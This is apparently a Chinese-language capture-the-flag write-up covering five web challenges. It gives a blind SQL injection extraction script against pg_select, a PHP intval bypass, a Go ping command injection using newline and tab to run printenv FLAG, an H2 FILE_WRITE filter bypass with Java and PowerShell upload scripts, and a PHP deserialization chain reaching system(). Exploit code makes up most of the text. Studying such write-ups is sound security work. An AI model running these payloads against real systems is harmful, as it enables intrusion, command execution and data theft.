奶龙杯ctf2026复现

  1. 奶龙杯ctf2026复现
  2. WEB
    1. ezphp
    2. LamentXU’s chal
    3. lets_goooooo
    4. phantom的surprise
    5. unserialize

奶龙杯ctf2026复现

WEB

ezphp

首页/source.php泄露了源码

1
2
3
4
5
6
$filters = [
'share_code' => $code,
'is_public' => true,
];

$rows = pg_select(database(), 'documents', $filters, PGSQL_DML_EXEC);

查询逻辑类似

1
WHERE share_code = '<code>' AND is_public = TRUE

api/lookup.php接口只返回:

1
2
{"found":true}
{"found":false}

注释里给了表的结构:

1
documents(share_code, title, body, is_public)

漏洞原理:受影响版本的 pg_select() 会通过 PQescapeStringConn() 转义字符串,再将结果放入 PostgreSQL 的转义字符串常量 E'...' 中。在默认配置 standard_conforming_strings=on 时,PQescapeStringConn() 不会转义反斜杠,但 E'...' 会把反斜杠视为转义字符

输入 \' 可以利用反斜杠和单引号破坏字符串边界,再用 -- 注释掉后面的 is_public=true:

1
\' OR (id=4 AND length(body)=43) --

过滤器只拦截了 ;、控制字符、select、``union 等关键词,这个 payload 可以正常通过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests

URL = "http://challenge.cyclens.tech:32002/api/lookup.php"

vault = (
"share_code=CHR(86)||CHR(65)||CHR(85)||"
"CHR(76)||CHR(84)"
)

def probe(expr: str) -> bool:
payload = "\\' OR (" + vault + " AND " + expr + ") --"
r = requests.get(URL, params={"code": payload}, timeout=10)
return r.json().get("found") is True

length = None
for n in range(1, 100):
if probe(f"length(body)={n}"):
length = n
break

print("body length:", length)

result = []
for pos in range(1, length + 1):
lo, hi = 32, 126

while lo < hi:
mid = (lo + hi + 1) // 2
if probe(f"ascii(substr(body,{pos},1)) >= {mid}"):
lo = mid
else:
hi = mid - 1

result.append(chr(lo))

raw = "".join(result)
print("raw body:", raw)

flag = raw[:-1] if raw.endswith("}}") else raw
print("flag:", flag)

LamentXU’s chal

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

ob_start();

highlight_file(__FILE__);

$userId = $_GET['userId'] ?? '';
$rawRole = $_GET['role'] ?? '';
$roleText = trim($rawRole);

function grantRole($userId, $roleId) {
if ($roleId === 1) {
$flag = file_get_contents('/flag');
echo $flag;
}
}

if (strlen($userId) < 114) {
http_response_code(400);
exit('user id is too short');
}

if ($roleText === '1') {
http_response_code(403);
exit('admin role is forbidden');
}

if (preg_match('/[eE.]/', $roleText)) {
http_response_code(400);
exit('invalid role id');
}

if ($roleText[0] === '0') {
http_response_code(400);
exit('leading zero is forbidden');
}

if (!is_numeric($roleText)) {
http_response_code(400);
exit('invalid role id');
}

$roleId = intval($rawRole);

grantRole($userId, $roleId);
user id is too short

关键逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$rawRole = $_GET['role'] ?? '';
$roleText = trim($rawRole);

if ($roleText === '1') exit('admin role is forbidden');
// 过滤大写字母小写字母和.
if (preg_match('/[eE.]/', $roleText)) exit('invalid role id');
if ($roleText[0] === '0') exit('leading zero is forbidden');
if (!is_numeric($roleText)) exit('invalid role id');

$roleId = intval($rawRole);

if ($roleId === 1) {
echo file_get_contents('/flag');
}

这里让role=+1

使用 role=+1 时,PHP 的 URL 解析会把 + 转为空格,因此必须传输编码后的 %2B1。

role=%2B1 在 PHP 中得到

1
2
3
rawRole  = "+1"
roleText = "+1"
intval("+1") = 1

满足 intval($rawRole) === 1。

userId 只要求长度不少于 114,填充 114 个 A 即可。

1
?userId=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&role=%2B1

lets_goooooo

题目是一个 Go Web 服务,功能是:

1
2
exec.CommandContext(ctx, "/bin/sh", "-c",
fmt.Sprintf("ping -c 1 -W 1 %s", host))

host 参数未经安全转义,直接拼接进 /bin/sh -c,因此存在命令注入。

黑名单代码:

1
2
3
if strings.ContainsAny(host, " ;|&$`(){}[]<>\\\"") {
// blocked
}

过滤了空格

  1. 没有过滤换行符 \n
  2. 没有过滤制表符 \t

虽然普通空格会被拦截,但 Shell 可以使用 Tab 作为参数分隔符。

最终执行结果等于

1
2
ping -c 1 -W 1 127.0.0.1
printenv FLAG

服务端运行身份为 root,环境变量中保存了 flag。

payload:

1
?host=127.0.0.1%0Aprintenv%09FLAG

phantom的surprise

核心漏洞链:

1./api/v1/preview 会把输入拼接为 H2 SQL:

1
SELECT <your_expression>

2.黑名单禁止 FILE_WRITE,但只做字符串匹配。使用 Unicode 无点小写 ı 绕过:

1
FıLE_WRITE(...)

H2 解析器仍会把它识别为 FILE_WRITE。

3.H2 函数参数顺序为:

1
FILE_WRITE(data, path)

因此可以写任意数据库文件:

1
FıLE_WRITE(X'...', '/tmp/catalog-worker/xxx.mv.db')

4.普通 CREATE FORCE TRIGGER 会被:

1
System.setProperty("h2.allowedClasses", "java.lang.String");

拦截,不能直接加载题目 Driver。

5.最终利用 H2 LINKED TABLE:

1
2
3
4
5
6
7
CREATE LINKED TABLE L(
'',
'jdbc:h2:file:/tmp/catalog-worker/linked-target;DEFAULT_CONNECTION=TRUE',
'sa',
'',
'(SELECT X(1) AS C FROM T) --'
)

先准备两个 H2 数据库:

  • linked-target.mv.db
  • linked.remote.snapshot.mv.db

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import com.papertrail.catalog.compat.store.jdbc.JdbcConnection;
import com.papertrail.catalog.compat.store.mvstore.MVStore;
import java.nio.file.*;
import java.util.Properties;

public class GenerateLinkedDb {
public static void main(String[] args) throws Exception {
Path archivePath = Path.of(args[0]).toAbsolutePath();

Path targetPath =
Path.of("E:/tmp/catalog-worker/linked-target.mv.db").toAbsolutePath();

Files.createDirectories(targetPath.getParent());
Files.deleteIfExists(targetPath);

String targetBase = targetPath.toString()
.substring(0, targetPath.toString().length() - ".mv.db".length());

JdbcConnection targetConn = new JdbcConnection(
"jdbc:h2:file:" + targetBase,
new Properties(),
"sa",
"",
false
);

targetConn.createStatement().execute(
"CREATE ALIAS X FOR \"java.lang.String.valueOf(int)\""
);
targetConn.createStatement().execute("CREATE TABLE T(ID INT)");
targetConn.createStatement().execute("INSERT INTO T VALUES(1)");
targetConn.close();

MVStore.compact(targetBase + ".mv.db", true, null);

Files.deleteIfExists(archivePath);

String archiveBase = archivePath.toString()
.substring(0, archivePath.toString().length() - ".mv.db".length());

JdbcConnection archiveConn = new JdbcConnection(
"jdbc:h2:file:" + archiveBase,
new Properties(),
"sa",
"",
false
);

String target =
"jdbc:h2:file:/tmp/catalog-worker/linked-target;DEFAULT_CONNECTION=TRUE";

String sql =
"CREATE LINKED TABLE L('','" +
target +
"','sa','','(SELECT X(1) AS C FROM T) --')";

System.out.println(sql);
archiveConn.createStatement().execute(sql);
archiveConn.close();

System.out.println(Files.size(archivePath));
}
}

远程上传以下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$base = 'http://challenge.cyclens.tech:30651'

$targetFile = 'E:/tmp/catalog-worker/linked-target.mv.db'
$archiveFile = 'E:/codex/CTF/ph@nt0m/generated/linked.remote.snapshot.mv.db'

$fn = 'F' + [char]0x131 + 'LE_WRITE'

function Upload-Db($localFile, $remoteFile) {
$hex = [Convert]::ToHexString(
[IO.File]::ReadAllBytes($localFile)
)

$expr = "$fn(X'$hex','$remoteFile')"

Invoke-RestMethod `
-Method Post `
-Uri "$base/api/v1/preview" `
-ContentType 'text/plain' `
-Body $expr
}

Invoke-RestMethod "$base/api/v1/info"

Upload-Db `
$targetFile `
'/tmp/catalog-worker/linked-target.mv.db'

Upload-Db `
$archiveFile `
'/tmp/catalog-worker/catalog.snapshot.mv.db'

Invoke-RestMethod `
-Method Post `
-Uri "$base/api/v1/workers/refresh" `
-ContentType 'text/plain' `
-Body ''

Invoke-RestMethod "$base/api/v1/proof"

unserialize

附件是:

1
2
$obj = unserialize($_POST['data']);
unset($obj);

CommandExecutor::__destruct() 最终执行:

1
system($this->command);

对象顺序必须是:

1
2
3
4
5
6
SecurityValidator
↓ mode = "safe"
Mutator
↓ ref 与 mode 共享引用
CommandExecutor
↓ enabled = true

反序列化时:

1
SecurityValidator::__wakeup()

先检查到 safe,通过。

1
Mutator::__wakeup()

把共享引用改成 hacked。

1
CommandExecutor::__destruct()

判断 mode 不再是 safe,执行命令。

关键引用:

1
2
Mutator::$ref = R:3
CommandExecutor::$validator = R:2

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
class SecurityValidator {
private $mode;
private $data;
}

class CommandExecutor {
private $validator;
private $command;
private $enabled;
}

class Mutator {
public $ref;
}

$cmd = $argv[1] ?? 'id';

$m = new Mutator();
$v = new SecurityValidator();
$ce = new CommandExecutor();

$mode = 'safe';

$bindV = Closure::bind(
function (&$x) { $this->mode =& $x; },
$v,
'SecurityValidator'
);
$bindV($mode);

$m->ref =& $mode;

$bindCE = Closure::bind(
function (&$x) { $this->validator =& $x; },
$ce,
'CommandExecutor'
);
$bindCE($v);

$bindC = Closure::bind(
function (&$x) { $this->command =& $x; },
$ce,
'CommandExecutor'
);
$bindC($cmd);

$enabled = true;

$bindE = Closure::bind(
function (&$x) { $this->enabled =& $x; },
$ce,
'CommandExecutor'
);
$bindE($enabled);

echo serialize([$v, $m, $ce]);

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
MIXBP github
🌙